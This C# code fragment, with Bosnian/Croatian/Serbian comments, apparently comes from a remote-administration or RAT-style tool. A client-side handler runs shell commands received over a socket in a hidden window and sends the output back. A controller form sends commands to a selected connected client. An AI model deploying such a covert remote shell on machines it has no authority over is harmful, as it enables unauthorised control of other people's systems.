private static void ShellCommandPacketHandler(byte[] receivedPacket, Socket clientSocket) { try { ShellCommandPackage shellCommandPackage = new ShellCommandPackage(receivedPacket); string cmdFilePath = Application.StartupPath + "\\cmd.cmd"; // Zapisujemo u fajl using (StreamWriter sw = File.CreateText(cmdFilePath)) { sw.WriteLine(shellCommandPackage.shellCommand); } string shellOutput = null; Process proc = new Process { StartInfo = new ProcessStartInfo { FileName = cmdFilePath, UseShellExecute = false, RedirectStandardOutput = true, CreateNoWindow = true } }; proc.Start(); while (!proc.StandardOutput.EndOfStream) { shellOutput += proc.StandardOutput.ReadLine() + "\n"; } ShellOutputPackage shellOutputPackage = new ShellOutputPackage(shellOutput); clientSocket.Send(shellOutputPackage.ToByteArray()); } catch (Exception ex) { } }
private void btnExecudeCmd_Click(object sender, EventArgs e) { ShellCommandPackage shellCommandPackage = new ShellCommandPackage(Microsoft.VisualBasic.Interaction.InputBox("Unesi shell naredbu", "Shell Command", "", -1, -1)); var selectedRowIndex = connectionList.SelectedCells[0].RowIndex; var clientSocket = PacketHandler.clientList.ElementAt(selectedRowIndex).clientSocket; clientSocket.Send(shellCommandPackage.ToByteArray()); }